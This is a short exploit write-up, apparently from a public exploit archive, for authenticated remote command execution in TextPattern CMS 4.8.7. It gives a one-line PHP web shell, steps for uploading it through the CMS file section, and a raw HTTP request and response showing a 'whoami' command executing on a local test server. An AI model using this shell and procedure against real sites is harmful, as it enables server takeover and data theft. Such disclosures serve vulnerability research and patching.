# Exploit Title: TextPattern CMS 4.8.7 - Remote Command Execution (RCE) (Authenticated) # Date: 2021/09/06 # Exploit Author: Mert Daş merterpreter@gmail.com # Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip # Software web: https://textpattern.com/ # Tested on: Server: Xampp First of all we should use file upload section to upload our shell. Our shell contains this malicious code: <?PHP system($_GET['cmd']);?> 1) Go to content section . 2) Click Files and upload malicious php file. 3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode; After upload our file , our request and response is like below : Request: GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP; PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi Upgrade-Insecure-Requests: 1 Response: HTTP/1.1 200 OK Date: Thu, 10 Jun 2021 00:32:41 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20 X-Powered-By: PHP/7.4.20 Content-Length: 22 Connection: close Content-Type: text/html; charset=UTF-8 pc\mertdas